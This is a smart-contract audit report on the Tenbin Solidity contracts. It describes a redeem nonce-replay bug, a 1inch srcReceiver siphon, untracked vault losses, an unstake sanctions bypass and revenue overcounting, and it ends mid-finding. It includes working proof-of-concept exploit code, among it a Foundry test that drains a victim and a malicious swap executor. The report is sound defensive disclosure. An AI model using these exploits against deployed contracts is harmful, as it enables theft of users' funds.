Tenbin Contracts Audit Report

Overview

The Tenbin team engaged Fuzzland to conduct a thorough security audit of their contracts. The primary objective was to identify and mitigate potential security vulnerabilities, risks, and coding issues to enhance the project's robustness and reliability. Fuzzland conducted this assessment over 35 person-days, involving three engineers from Fuzzland and two engineers from Taichi Audit Group who reviewed the code over a span of 7 days. Employing a multifaceted approach that included static analysis, fuzz testing, formal verification, and manual code review, the team has identified 14 issues.

Scope

Project Name	Tenbin
Language / Framework	Solidity (Foundry)
GitHub Repo	https://github.com/tenbinlabs/monorepo
Commit	`6cb95faf1fd78a623ce2baa7f148b9b1f842cb82`
Fix Commit	`bc93b2ce9b714e08b80be0917cc6f36d2d34723d`
Scope	packages/contracts/**/*.sol

Disclaimer

The audit does not ensure that it has identified every security issue in the smart contracts, and it should not be seen as a confirmation that there are no more vulnerabilities. The audit is not exhaustive, and we recommend further independent audits and setting up a public bug bounty program for enhanced security verification of the smart contracts. Additionally, this report should not be interpreted as personal financial advice or recommendations.

Auditing Process

- Static Analysis: We perform static analysis using our internal tools and Slither to identify potential vulnerabilities and coding issues.
- Fuzz Testing: We execute fuzz testing with our internal fuzzers to uncover potential bugs and logic flaws.
- Invariant Development: We convert the project into Foundry project and develop Foundry invariant tests for the project based on the code semantics and documentation.
- Invariant Testing: We run multiple fuzz testing tools, including Foundry and ItyFuzz, to identify violations of invariants we developed.
- Formal Verification: We develop individual tests for critical functions and leverage Halmos to prove the functions in question are not vulnerable.
- Manual Code Review: Our engineers manually review code to identify potential vulnerabilities not captured by previous methods.

Vulnerability Severity

We divide severity into three distinct levels: high, medium, low. This classification helps prioritize the issues identified during the audit based on their potential impact and urgency.

- **High (H) Severity Issues** represent critical vulnerabilities or flaws that pose a significant risk to the system's security, functionality, or performance. These issues can lead to severe consequences such as fund loss, or major service disruptions if not addressed immediately. High severity issues typically require urgent attention and prompt remediation to mitigate potential damage and ensure the system's integrity and reliability.
- **Medium (M) Severity Issues** are significant but not critical vulnerabilities or flaws that can impact the system's security, functionality, or performance. These issues might not pose an immediate threat but have the potential to cause considerable harm if left unaddressed over time. Addressing medium severity issues is important to maintain the overall health and efficiency of the system, though they do not require the same level of urgency as high severity issues.
- **Low (L) Severity Issues** are minor vulnerabilities or flaws that have a limited impact on the system's security, functionality, or performance. These issues generally do not pose a significant risk and can be addressed in the regular maintenance cycle. While low severity issues are not critical, resolving them can help improve the system's overall quality and user experience by preventing the accumulation of minor problems over time.

Below is a summary of the vulnerabilities with their current status, highlighting the number of issues identified in each severity category and their resolution progress.

	Number	Resolved
High Severity Issues	5	0
Medium Severity Issues	4	0
Low Severity Issues	5	0

[H] Nonce Replay Vulnerability in Controller.redeem() Allows Complete Drainage of Delegating Users

Summary

A critical nonce tracking inconsistency in `Controller.redeem()` allows unlimited replay of signed redeem orders when delegation is used. The `redeem()` function incorrectly marks the nonce as used for the `signer` address instead of the `order.payer` address, while `verifyOrder()` always validates nonces against `order.payer`. This mismatch enables a malicious delegated signer to replay a single signed redeem order indefinitely, draining all of a victim's AssetTokens and stealing the corresponding collateral.

Technical Details

Root Cause

The vulnerability exists due to inconsistent nonce tracking between `mint()` and `redeem()` functions:

In `mint()` (Correct):

```
function mint(Order calldata order, Signature calldata signature) external override onlyRole(MINTER_ROLE) { (address signer,) = verifyOrder(order, signature); // ... validation ... nonces[order.payer][order.nonce] = true; // <- Correctly uses order.payer // ... }
```

In `redeem()` (Vulnerable):

```
function redeem(Order calldata order, Signature calldata signature)
external override onlyRole(MINTER_ROLE) { (address signer,) = verify
Order(order, signature); // ... validation ... nonces[signer][order.
nonce] = true; // <- BUG: Uses signer instead of order.payer // ...
}
```

In `verifyOrder()` (Always checks payer):

```
function verifyOrder(Order calldata order, Signature calldata signat
ure) public view returns (address signer, bytes32 orderHash) { //
... _verifyNonce(order.payer, order.nonce); // Always checks payer's
nonce // ... } function _verifyNonce(address payer, uint256 nonce) i
nternal view { if (nonces[payer][nonce]) revert InvalidNonce(); // C
hecks nonces[payer][nonce] }
```

Attack Scenario

1. **Setup**: Alice (payer) delegates signing authority to Bob using `setDelegateStatus(bob, true)`
2. **Legitimate Order**: Bob signs a redeem order with `payer=Alice, recipient=Bob, nonce=1`
3. **First Execution**:
   - `verifyOrder()` checks `nonces[Alice][1]` → false (valid)
   - Order executes successfully
   - `nonces[Bob][1] = true` is set (Bug: should be `nonces[Alice][1]`)
4. **Replay Attack**:
   - Same order with same signature is submitted again
   - `verifyOrder()` checks `nonces[Alice][1]` → still false!
   - Order executes again
   - `nonces[Bob][1] = true` is set again (no-op)

5. **Unlimited Replays**: Steps 4 repeats until Alice is completely drained

Code Trace

```
redeem(order, signature) │ ├─► verifyOrder(order, signature) │ │ │ ├
─► _verifyNonce(order.payer, order.nonce) │ │ └─► checks: nonces[ord
er.payer][nonce] == false ✓ │ │ │ └─► _verifySignature() → returns s
igner (could be delegate) │ ├─► ... validation and execution ... │ └
─► nonces[signer][order.nonce] = true // BUG: signer != order.payer
when delegated
```

Impact

- **Complete Asset Drainage**: A malicious delegated signer can drain 100% of a victim's AssetTokens with a single signed order
- **Collateral Theft**: All collateral corresponding to the burned tokens is stolen by the attacker
- **Trust Violation**: Users who delegate signing authority (e.g., to institutional custodians, trading bots, or key management services) are at extreme risk
- **No User Mitigation**: Victims cannot prevent the attack after signing a single order
- **Silent Execution**: The attack can be executed by anyone who obtains a valid signature, not just the original signer

Recommendation

Change line 191 in `Controller.redeem()` from:

```
nonces[signer][order.nonce] = true;
```

To:

```
nonces[order.payer][order.nonce] = true;
```

This ensures consistent nonce tracking between `mint()` and `redeem()`, where the nonce is always associated with the `order.payer` address rather than the signer.

PoC

Save the following code as `test/poc/RedeemNonceReplayPoC.t.sol`:

```
// SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {Tes
t} from "forge-std/Test.sol"; import {console} from "forge-std/conso
le.sol"; import {AssetToken} from "src/AssetToken.sol"; import {Cont
roller} from "src/Controller.sol"; import {IController} from "src/in
terface/IController.sol"; import {MockERC20} from "test/mocks/MockER
C20.sol"; import {CollateralManager} from "src/CollateralManager.so
l"; import {ERC1967Proxy} from "lib/openzeppelin-contracts/contract
s/proxy/ERC1967/ERC1967Proxy.sol"; import {MockERC4626} from "test/m
ocks/MockERC4626.sol"; import {IERC4626} from "lib/openzeppelin-cont
racts/contracts/interfaces/IERC4626.sol"; /** * @title RedeemNonceRe
playPoC * @notice Proof of Concept for Critical Nonce Replay Vulnera
bility in Controller.redeem() * * @dev Vulnerability Summary: * In C
ontroller.redeem(), the nonce is marked as used for `signer` instead
of `order.payer`. * When delegation is used (signer != payer), the n
once check in verifyOrder() checks * nonces[payer][nonce], but redee
m() sets nonces[signer][nonce] = true. * This allows unlimited repla
y of the same signed redeem order. * * Bug Location: Controller.sol,
line ~191 (in redeem function) * nonces[signer][order.nonce] = true;
// BUG: Should be nonces[order.payer][order.nonce] */ contract Redee
mNonceReplayPoC is Test { // Roles bytes32 internal constant MINTER_
ROLE = keccak256("MINTER_ROLE"); bytes32 internal constant ADMIN_ROL
E = keccak256("ADMIN_ROLE"); bytes32 internal constant SIGNER_MANAGE
R_ROLE = keccak256("SIGNER_MANAGER_ROLE"); // Keys for signers uint2
56 internal aliceKey = 0xA11CE; uint256 internal bobKey = 0xB0B; //
Accounts address internal alice; // payer - delegates to bob address
internal bob; // signer - signs on behalf of alice address internal
owner; address internal minter; address internal signerManager; addr
ess internal custodian; address internal attacker; // receives the s
tolen collateral // Contracts Controller internal controller; AssetT
oken internal asset; MockERC20 internal collateral; CollateralManage
r internal manager; IERC4626 internal vault; function setUp() public
{ // Setup accounts alice = vm.addr(aliceKey); bob = vm.addr(bobKe
y); owner = makeAddr("owner"); minter = makeAddr("minter"); signerMa
nager = makeAddr("signerManager"); custodian = makeAddr("custodia
n"); attacker = makeAddr("attacker"); // Deploy contracts collateral
= new MockERC20("USDC", "USDC", 6); asset = new AssetToken("Gold Tok
en", "tGLD", owner); controller = new Controller(address(asset), 0,
custodian, owner); // Deploy CollateralManager vault = new MockERC46
26("Vault", "vUSDC", collateral); address managerImpl = address(new
CollateralManager()); bytes memory initData = abi.encodeWithSelector
( CollateralManager.initialize.selector, address(controller), owner
); ERC1967Proxy proxy = new ERC1967Proxy(managerImpl, initData); man
```

```
ager = CollateralManager(address(proxy)); // Setup roles vm.startPra
nk(owner); asset.setMinter(address(controller)); controller.grantRol
e(MINTER_ROLE, minter); controller.grantRole(SIGNER_MANAGER_ROLE, si
gnerManager); controller.grantRole(ADMIN_ROLE, owner); controller.se
tManager(address(manager)); controller.setIsCollateral(address(colla
teral), true); // Setup manager manager.grantRole(keccak256("CURATOR
_ROLE"), address(controller)); manager.addCollateral(address(collate
ral), address(vault)); vm.stopPrank(); // Setup signers: Bob is a wh
itelisted signer vm.prank(signerManager); controller.setSignerStatus
(bob, true); // Bob adds attacker as approved recipient vm.prank(bo
b); controller.setRecipientStatus(attacker, true); // Alice delegate
s to Bob (allows Bob to sign orders on Alice's behalf) vm.prank(alic
e); controller.setDelegateStatus(bob, true); // Label accounts for t
races vm.label(alice, "Alice (Payer/Victim)"); vm.label(bob, "Bob (D
elegated Signer)"); vm.label(attacker, "Attacker (Recipient)"); vm.l
abel(address(controller), "Controller"); vm.label(address(manager),
"CollateralManager"); } /** * @notice Demonstrates the nonce replay
vulnerability * * Attack Flow: * 1. Alice has 100 AssetTokens and de
legates signing to Bob * 2. Bob signs a redeem order for 10 tokens
(nonce=1) * 3. Order executes: Alice loses 10 tokens, attacker gets
collateral * 4. BUG: nonces[bob][1] = true, but nonces[alice][1] is
still false! * 5. Same order replayed 9 more times, draining Alice c
ompletely */ function test_RedeemNonceReplay_DrainVictim() public {
console.log("=== Redeem Nonce Replay PoC ===\n"); // Setup: Give Ali
ce 100 AssetTokens uint256 initialAssetBalance = 100e18; vm.prank(ad
dress(controller)); asset.mint(alice, initialAssetBalance); // Setu
p: Alice approves controller to burn her tokens vm.prank(alice); ass
et.approve(address(controller), type(uint256).max); // Setup: Fund m
anager with collateral for redemptions uint256 collateralPerRedeem =
10e6; // 10 USDC per redeem uint256 totalCollateralNeeded = collater
alPerRedeem * 10; // For 10 replays collateral.mint(address(manage
r), totalCollateralNeeded); // Manager approves controller vm.prank
(address(manager)); collateral.approve(address(controller), type(uin
t256).max); console.log("Initial State:"); console.log(" Alice Asset
Token balance:", asset.balanceOf(alice) / 1e18); console.log(" Manag
er collateral:", collateral.balanceOf(address(manager)) / 1e6); cons
ole.log(" Attacker collateral:", collateral.balanceOf(attacker) / 1e
6); console.log(""); // Create the redeem order (Alice as payer, att
acker as recipient) IController.Order memory order = IController.Ord
er({ order_type: IController.OrderType.Redeem, nonce: 1, expiry: blo
ck.timestamp + 1 hours, payer: alice, // Alice pays (burns tokens) r
ecipient: attacker, // Attacker receives collateral collateral_toke
n: address(collateral), collateral_amount: collateralPerRedeem, asse
t_amount: 10e18 // Redeem 10 AssetTokens }); // Bob signs the order
```

```
(as delegated signer) bytes32 orderHash = controller.hashOrder(orde
r); (uint8 v, bytes32 r, bytes32 s) = vm.sign(bobKey, orderHash); IC
ontroller.Signature memory signature = IController.Signature({ signa
ture_type: IController.SignatureType.EIP712, signature_bytes: abi.en
codePacked(r, s, v) }); console.log("Executing replays with SAME ord
er and signature...\n"); // Execute the same order multiple times -
THIS SHOULD FAIL but doesn't! uint256 replayCount = 0; for (uint256
i = 0; i < 10; i++) { // Check if Alice still has tokens to redeem i
f (asset.balanceOf(alice) < order.asset_amount) { console.log("Alice
drained! No more tokens to steal."); break; } // Execute redeem vm.p
rank(minter); controller.redeem(order, signature); replayCount++; co
nsole.log("Replay #%d successful!", replayCount); console.log(" Alic
e balance:", asset.balanceOf(alice) / 1e18, "tokens"); console.log("
Attacker gained:", collateral.balanceOf(attacker) / 1e6, "USDC tota
l"); } console.log("\n=== Final State ==="); console.log("Alice Asse
tToken balance:", asset.balanceOf(alice) / 1e18); console.log("Attac
ker collateral stolen:", collateral.balanceOf(attacker) / 1e6, "USD
C"); console.log("Total replays executed:", replayCount); // Asserti
ons assertEq(replayCount, 10, "Should have replayed 10 times"); asse
rtEq(asset.balanceOf(alice), 0, "Alice should be completely draine
d"); assertEq(collateral.balanceOf(attacker), totalCollateralNeeded,
"Attacker should have all collateral"); } }
```

Run the PoC:

```
forge test --match-contract RedeemNonceReplayPoC -vvv
```

Status: Resolved

[H] SwapModule lets CURATOR redirect all src tokens via 1inch srcReceiver

Summary

`swap1Inch()` checks `dstReceiver` but never constrains `swapData.srcReceiver`. 1inch's router transfers the full `amount` from `SwapModule` to `srcReceiver` before executing the route. Because `CollateralManager.swap()` first sends the source tokens into `SwapModule`, a CURATOR can set `srcReceiver` to an attacker address, siphon the source tokens, and return only as much `dstToken` as the configured slippage tolerance requires, passing all checks. The unchecked `srcReceiver` is the root cause; slippage only caps how much can be stolen, it does not prevent the redirect.

Technical Details

- `CollateralManager.swap()` moves `params.amount` into `swapModule` and only checks that `dstToken` balance increases by `minReturnAmount` packages/contracts/src/CollateralManager.sol#L168-L201. `_verifySlippage` only bounds how low `minReturnAmount` can be versus an expected amount; it does not control `srcReceiver`:

```
function swap(bytes calldata parameters, bytes calldata data) extern
al nonReentrant notPaused onlyRole(CURATOR_ROLE) { ISwapModule.SwapP
arameters memory params = abi.decode(parameters, (ISwapModule.SwapPa
rameters)); if (address(vaults[params.srcToken]) == address(0)) reve
rt CollateralNotSupported(); if (address(vaults[params.dstToken]) ==
address(0)) revert CollateralNotSupported(); uint256 srcTokenCap = s
wapCap[params.srcToken]; uint256 dstTokenCap = swapCap[params.dstTok
en]; if (params.amount > srcTokenCap) revert InvalidSwapAmount(); if
(params.minReturnAmount > dstTokenCap) revert InvalidSwapAmount(); _
verifySlippage(params); uint256 balanceBefore = IERC20(params.dstTok
en).balanceOf(address(this)); IERC20(params.srcToken).safeTransfer(s
wapModule, params.amount); ISwapModule(swapModule).swap(parameters,
data); uint256 balanceAfter = IERC20(params.dstToken).balanceOf(addr
ess(this)); if (balanceAfter - balanceBefore < params.minReturnAmoun
t) revert InsufficientAmountReceived(); }
```

- `swap1Inch()` validates router/src/dst/amount/dstReceiver but never validates `swapData.srcReceiver` packages/contracts/src/SwapModule.sol#L35-L74:

```
function swap1Inch(SwapParameters memory params, bytes calldata dat
a) internal { // executor is fully chosen by the caller (curator) vi
a `data` (IAggregationExecutor executor, IAggregationRouterV6.SwapDe
scription memory swapData, bytes memory route) = abi.decode(data, (I
AggregationExecutor, IAggregationRouterV6.SwapDescription, bytes));
if (params.router != router) revert InvalidRouter(); if (params.srcT
oken != address(swapData.srcToken)) revert InvalidSrcToken(); if (pa
rams.dstToken != address(swapData.dstToken)) revert InvalidDstToken
(); if (params.amount != swapData.amount) revert InvalidAmount(); if
(params.minReturnAmount > swapData.minReturnAmount) revert InvalidMi
nReturnAmount(); if (swapData.dstReceiver != manager) revert Invalid
Receiver(); IERC20(params.srcToken).safeIncreaseAllowance(params.rou
ter, params.amount); (uint256 returnAmount, /* spentAmount */) = IAg
gregationRouterV6(router).swap(executor, swapData, route); if (retur
nAmount < params.minReturnAmount) revert InsufficientReturnAmount();
}
```

- 1inch `GenericRouter.swap()` pulls tokens from `msg.sender` (the `SwapModule`) to the user-specified `desc.srcReceiver` before any executor/route logic reference/AggregationRouterV6.sol#L4738-L4775:

```
function swap( IAggregationExecutor executor, SwapDescription callda
ta desc, bytes calldata data ) external payable whenNotPaused() retu
rns (uint256 returnAmount, uint256 spentAmount) { if (desc.minReturn
Amount == 0) revert ZeroMinReturn(); IERC20 srcToken = desc.srcToke
n; bool srcETH = srcToken.isETH(); if (!srcETH) { srcToken.safeTrans
ferFromUniversal(msg.sender, desc.srcReceiver, desc.amount, desc.fla
gs & _USE_PERMIT2 != 0); } returnAmount = _execute(executor, msg.sen
der, desc.amount, data); spentAmount = desc.amount; address payable
dstReceiver = (desc.dstReceiver == address(0)) ? payable(msg.sender)
: desc.dstReceiver; dstToken.uniTransfer(dstReceiver, returnAmount);
}
```

The curator sets `minReturnAmount` to the minimum allowed by `_verifySlippage` (tolerance-dependent) and returns only that much `dstToken`, keeping the tolerated skim of `srcToken` via `srcReceiver`.

Even when slippage tolerance is tight, the attacker-controlled executor can self-fund the `dstToken` to satisfy `minReturnAmount`; no fake pool is needed. 1inch pulls all `srcToken` to `desc.srcReceiver`, then calls the executor, and finally sends whatever `returnAmount` the executor produced to `desc.dstReceiver`:

```
function swap( IAggregationExecutor executor, SwapDescription calldata desc, bytes calldata data ) external payable whenNotPaused() returns (uint256 returnAmount, uint256 spentAmount) { if (desc.minReturnAmount == 0) revert ZeroMinReturn(); IERC20 srcToken = desc.srcToken; IERC20 dstToken = desc.dstToken; bool srcETH = srcToken.isETH(); if (!srcETH) { srcToken.safeTransferFromUniversal(msg.sender, desc.srcReceiver, desc.amount, desc.flags & _USE_PERMIT2 != 0); } returnAmount = _execute(executor, msg.sender, desc.amount, data); spentAmount = desc.amount; address payable dstReceiver = (desc.dstReceiver == address(0)) ? payable(msg.sender) : desc.dstReceiver; dstToken.uniTransfer(dstReceiver, returnAmount); } function _execute( IAggregationExecutor executor, address srcTokenOwner, uint256 inputAmount, bytes calldata data ) private returns(uint256 result) { bytes4 executeSelector = executor.execute.selector; assembly { /* executor can return any dstToken amount from its own balance */ } }
```

Because the curator supplies `executor` in `data`, they control that contract. The executor can simply transfer `dstToken` from its own balance during `_execute` so `returnAmount` meets `minReturnAmount`; the router then forwards that to `dstReceiver` while the siphoned `srcToken` stays at `srcReceiver`.

Minimal executor self-funding pattern (called by `_execute`), showing how the curator refunds only the slippage-bound `dstToken` while keeping all `srcToken`:

```
// Called via GenericRouter._execute(executor, msg.sender, desc.amou
nt, data) function execute(address /* srcTokenOwner */, bytes callda
ta /* data */, uint256 /* amount */) external returns (uint256 retur
nAmount) { // Move the bare-minimum dstToken into the router (msg.se
nder) from attacker funds IERC20(dstToken).transferFrom(attacker, ms
g.sender, minReturnAmount); returnAmount = minReturnAmount; // satis
fies the router's minReturn check }
```

Impact

- CURATOR can siphon up to the configured slippage tolerance of `srcToken` on any swap. They set `swapData.srcReceiver` to an attacker address and choose `minReturnAmount` at the floor permitted by `_verifySlippage`.
- Slippage only compares `minReturnAmount` to an expected output; it does not constrain where `srcToken` goes. With 10% tolerance, 10% of `srcToken` can be stolen; with 100% tolerance, the entire `srcToken` leg can be stolen while returning dust.
- Post-swap, only `dstToken` delta ≥ `minReturnAmount` is enforced, so returning exactly the tolerated amount lets the siphon succeed without revert.

PoC

1. Curator chooses params: `amount = 1,000,000 USDC`, sets `minReturnAmount` to the lowest value allowed by `_verifySlippage` (e.g., with 10% tolerance, `minReturnAmount = 0.9 * expectedOut`). In the 1inch `SwapDescription`, set `srcReceiver = attacker`, `dstReceiver = manager`.
2. `CollateralManager` transfers 1,000,000 USDC into `SwapModule` and calls `swap`.
3. 1inch router immediately transfers 1,000,000 USDC from `SwapModule` to `attacker` (via `srcReceiver`) before any route execution.

4. The attacker-controlled route returns only the tolerated `minReturnAmount` (e.g., 90% of expected with 10% tolerance, or less if tolerance is looser). The balance check and slippage check both pass; the skimmed portion of `srcToken` remains with the attacker because `srcReceiver` was uncontrolled.

Recommendation

In `swap1Inch()`, reject any swap where `swapData.srcReceiver` is not the expected address (e.g., `address(this)` or `address(0)` if treated as default). Consider zeroing `srcReceiver` before the call to enforce the invariant.

Status: Resolved

[H] Loss Realization From Morpho Vaults Not Tracked in Revenue Accounting

Summary

The `_computeNewRevenue()` function in `CollateralManager.sol` only tracks positive yield (when `totalAssets > lastTotalAssets`). When Morpho Blue markets realize bad debt during liquidations, this loss propagates to suppliers via reduced `totalSupplyAssets`, causing the vault's `totalAssets()` to decrease. These losses are silently absorbed by Tenbin without any accounting or events being emitted.

Technical Details

How Bad Debt Occurs in Morpho Blue

Source: github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol (lines 304-316)

When a borrower is liquidated and has no remaining collateral, bad debt is socialized to all suppliers:

```
// Morpho.sol - liquidate() function uint256 badDebtShares; uint256 badDebtAssets; if (position[id][borrower].collateral == 0) { badDebtShares = position[id][borrower].borrowShares; badDebtAssets = UtilsLib.min( market[id].totalBorrowAssets, badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares) ); market[id].totalBorrowAssets -= badDebtAssets.toUint128(); market[id].totalSupplyAssets -= badDebtAssets.toUint128(); // ← LOSS: Suppliers lose value market[id].totalBorrowShares -= badDebtShares.toUint128(); position[id][borrower].borrowShares = 0; }
```

Key line: `market[id].totalSupplyAssets -= badDebtAssets.toUint128();`

This reduction in `totalSupplyAssets` causes the ERC4626 vault's `totalAssets()` to decrease, which Tenbin's `CollateralManager` observes but does not properly handle.

Tenbin's Vulnerable Code

Current implementation in `CollateralManager.sol`:

```
function _computeNewRevenue(address collateral, IERC4626 vault) internal view returns (uint256 revenue) { uint256 totalAssets = vault.totalAssets(); uint256 lastTotal = lastTotalAssets[collateral]; if (totalAssets > lastTotal) { unchecked { revenue = totalAssets - lastTotal; } } // When totalAssets <= lastTotal, revenue = 0 (default) // Loss is silently absorbed - no tracking, no events }
```

The Problem Flow

1. Tenbin deposits into Morpho V2 Vault → Vault supplies to Morpho Blue markets
2. A borrower defaults, liquidation occurs with bad debt
3. `totalSupplyAssets` decreases in Morpho Blue
4. Morpho V2 Vault's `totalAssets()` decreases proportionally

5. Tenbin calls `_computeNewRevenue()`:
   - `vault.totalAssets()` returns lower value than `lastTotalAssets`
   - Function returns `revenue = 0`
   - `lastTotalAssets` is updated to the new (lower) value
   - **The loss is never recorded, tracked, or emitted**

PoC

```
INITIAL STATE: ├── Morpho Blue market: totalSupplyAssets = 10,000,00
0 USDC ├── Morpho V2 Vault: totalAssets() = 1,000,000 USDC (Tenbin's
share) └── Tenbin: lastTotalAssets[USDC] = 1,000,000 USDC BAD DEBT E
VENT (Borrower liquidated with $500,000 bad debt): ├── Morpho Blue:
totalSupplyAssets = 9,500,000 USDC (-500,000) ├── Morpho V2 Vault: t
otalAssets() = 950,000 USDC (5% loss) └── Loss to Tenbin: 50,000 USD
C TENBIN REVENUE CHECK: ├── vault.totalAssets() = 950,000 USDC ├── l
astTotalAssets = 1,000,000 USDC ├── 950,000 > 1,000,000? FALSE ├── r
evenue = 0 └── lastTotalAssets updated to 950,000 USDC    50,000 USD
C loss SILENTLY ABSORBED LATER (after 100,000 USDC yield accrues): ├
── vault.totalAssets() = 1,050,000 USDC ├── lastTotalAssets = 950,00
0 USDC ├── revenue = 100,000 USDC ✓ ACTUAL RESULT: ├── Real yield ea
rned: 100,000 USDC ├── Real loss incurred: 50,000 USDC ├── Net profi
t: 50,000 USDC ├── Tenbin recorded revenue: 100,000 USDC (WRONG - ov
erstated by 50,000) └── Tenbin recorded loss: 0 USDC (WRONG - should
be 50,000)
```

Impact

- **Financial Misrepresentation**: Revenue accounting overstates actual profits by not netting losses
- **No Loss Visibility**: Off-chain systems, dashboards, and auditors cannot detect when losses occur
- **Incorrect Revenue Distribution**: If `pendingRevenue` is distributed to stakers/treasury, they receive inflated amounts that don’t account for losses

- **Protocol Solvency Risk**: In extreme scenarios, distributing "revenue" that includes untracked losses could drain protocol reserves
- **Audit Trail Gap**: No events emitted for loss events makes forensic analysis impossible

Recommendation

Track losses explicitly and emit events for transparency:

```
event LossRealized(address indexed collateral, uint256 amount); even
t RevenueRealized(address indexed collateral, uint256 amount); mappi
ng(address => uint256) public realizedLosses; function _computeNewRe
venue(address collateral, IERC4626 vault) internal returns (uint256
revenue) { uint256 totalAssets = vault.totalAssets(); uint256 lastTo
tal = lastTotalAssets[collateral]; if (totalAssets > lastTotal) { un
checked { revenue = totalAssets - lastTotal; } emit RevenueRealized
(collateral, revenue); } else if (totalAssets < lastTotal) { uncheck
ed { uint256 loss = lastTotal - totalAssets; realizedLosses[collater
al] += loss; emit LossRealized(collateral, loss); } } } /// @notice
Get net profit/loss for a collateral function getNetRevenue(address
collateral) external view returns (int256) { return int256(pendingRe
venue[collateral]) - int256(realizedLosses[collateral]); }
```

Status: Resolved

[H] Unstake Allows Sending Assets to Restricted Addresses

Summary

The `StakedAsset.unstake()` function includes `nonRestricted(msg.sender)` check but lacks `nonRestricted(to)` validation. This allows a non-restricted user to send unstaked assets to a restricted (e.g., sanctioned) address, potentially violating compliance requirements and enabling sanctions evasion.

Technical Details

Vulnerable Code

```
// StakedAsset.sol function unstake(address to) external nonRestrict
ed(msg.sender) nonZeroAddress(to) { // BUG: Missing: nonRestricted(t
o) Cooldown memory cooldown = cooldowns[msg.sender]; if (cooldown.en
d > block.timestamp) revert CooldownInProgress(); delete cooldowns[m
sg.sender]; silo.withdraw(to, cooldown.assets); emit Unstake(msg.sen
der, to, cooldown.assets); }
```

Comparison with Other Functions

Other withdrawal functions properly check both sender and receiver:

```
// withdraw() - Correct function withdraw(uint256 assets, address re
ceiver, address owner) public override nonRestricted(receiver) // ✓
Checks receiver nonRestricted(owner) // ✓ Checks owner returns (uint
256) { if (cooldownPeriod > 0) revert RequiresCooldown(); return sup
er.withdraw(assets, receiver, owner); } // redeem() - Correct functi
on redeem(uint256 shares, address receiver, address owner) public ov
erride nonRestricted(receiver) // ✓ Checks receiver nonRestricted(ow
ner) // ✓ Checks owner returns (uint256) { if (cooldownPeriod > 0) r
evert RequiresCooldown(); return super.redeem(shares, receiver, owne
r); } // transfer() - Correct function transfer(address to, uint256
value) public override(IERC20, ERC20Upgradeable) nonRestricted(msg.s
ender) nonRestricted(to) // ✓ Checks recipient returns (bool) { retu
rn super.transfer(to, value); }
```

Attack Scenario

1. **Setup**: Address `0xBAD` is marked as restricted (sanctioned entity)
2. **User Action**: A non-restricted user has assets in cooldown
3. **Exploit**: User calls `unstake(0xBAD)` after cooldown completes
4. **Result**: Assets are transferred to the sanctioned address
5. **Consequence**: Protocol facilitates sanctions evasion

Compliance Implications

- OFAC sanctions require blocking transactions to/from sanctioned addresses
- The protocol explicitly has restricted address functionality for compliance
- This bypass could expose the protocol to regulatory liability

Impact

- **Likelihood**: Medium (intentional misuse)
- **Impact**: High (regulatory/legal exposure)

The protocol's restricted address system exists specifically to prevent transactions with sanctioned entities. This bypass undermines the entire compliance framework.

Recommendation

Add `nonRestricted` check for recipient:

```
function unstake(address to) external nonRestricted(msg.sender) nonR
estricted(to) // Add this check nonZeroAddress(to) { Cooldown memory
cooldown = cooldowns[msg.sender]; if (cooldown.end > block.timestam
p) revert CooldownInProgress(); delete cooldowns[msg.sender]; silo.w
ithdraw(to, cooldown.assets); emit Unstake(msg.sender, to, cooldown.
assets); }
```

PoC

```
// SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {Tes
t} from "forge-std/Test.sol"; import {StakedAsset} from "src/StakedA
sset.sol"; contract UnstakeToRestrictedTest is Test { StakedAsset st
aking; address user = address(0x1); address restricted = address(0xB
AD); // Sanctioned address address admin = address(0xADMIN); functio
n setUp() public { // Deploy and initialize StakedAsset // ... // Ma
rk address as restricted vm.prank(admin); staking.setIsRestricted(re
stricted, true); // User deposits and initiates cooldown vm.startPra
nk(user); // ... deposit and cooldown logic vm.stopPrank(); } functi
on test_UnstakeToRestrictedAddress() public { // Verify restricted a
ddress cannot receive via other methods vm.prank(user); vm.expectRev
ert("AccountRestricted"); staking.withdraw(100e18, restricted, use
r); // Fails correctly // But unstake allows it! vm.prank(user); sta
king.unstake(restricted); // Succeeds - BUG! // Restricted address r
eceived funds assertGt(asset.balanceOf(restricted), 0); } }
```

Status: Resolved

[H] CollateralManager overcounts revenue when vault is shared

Summary

`_computeNewRevenue()` treats the ERC4626 vault's `totalAssets()` delta as revenue for this contract, ignoring that other users can freely deposit/withdraw. In a permissionless vault (e.g., Morpho), third-party deposits inflate `pendingRevenue` even though this contract's share balance is unchanged, and withdrawals can deflate it. This misattributes external activity as revenue and can make `withdrawRevenue()` revert or misreport earnings.

Technical Details

- Revenue is computed from global vault state rather than this contract's holdings packages/contracts/src/CollateralManager.sol#L141-L158:

```
function _computeNewRevenue(address collateral, IERC4626 vault) inte
rnal view returns (uint256 revenue) { uint256 totalAssets = vault.to
talAssets(); uint256 lastTotal = lastTotalAssets[collateral]; if (to
talAssets > lastTotal) { unchecked { revenue = totalAssets - lastTot
al; } } }
```

- If any external user deposits into the shared vault, `totalAssets` rises; the contract records that increase as its own revenue even though its `balanceOf`/assets did not change.
- Later, `withdrawRevenue()` transfers collateral tokens from this contract (not from the vault). Because no real revenue was earned, the contract may lack those tokens and the transfer will revert, blocking revenue withdrawals and corrupting accounting.
- Correct accounting should track this contract's position only (e.g., `vault.convertToAssets(vault.balanceOf(address(this)))`) instead of global `totalAssets`.

Impact

- Misreported and non-withdrawable "revenue" if the vault is open to others (Morpho/other permissionless ERC4626).
- Collector withdrawals can revert when phantom revenue is booked, causing loss of availability of legitimate revenue until accounting is fixed.
- Overstated revenue figures may drive incorrect ops decisions off-chain.

Recommendation

- Compute revenue from this contract's holdings, not global vault assets:
  - Track `uint256 heldAssets = vault.convertToAssets(vault.balanceOf(address(this)))` and diff against a stored per-collateral `lastHeldAssets`.
  - Alternatively, gate the vault so only this contract can deposit/withdraw; otherwise, assume permissionless usage and switch to holder-based accounting.
- Update `lastHeldAssets` after each revenue realization to the new holder-based value.

Status: Resolved

[M] LayerZeroMintBurnOFTAdapter: approvalRequired() Returns False But burn() Requires Approval

Summary

The `LayerZeroMintBurnOFTAdapter` contract inherits from LayerZero's `MintBurnOFTAdapter`, which returns `false` from `approvalRequired()`. However, the underlying `AssetToken.burn()` function requires the caller to have approval via `_spendAllowance()`. This mismatch can cause integration failures and confuse wallet implementers or frontend developers who rely on `approvalRequired()` to determine whether token approval is needed before cross-chain transfers.

Technical Details

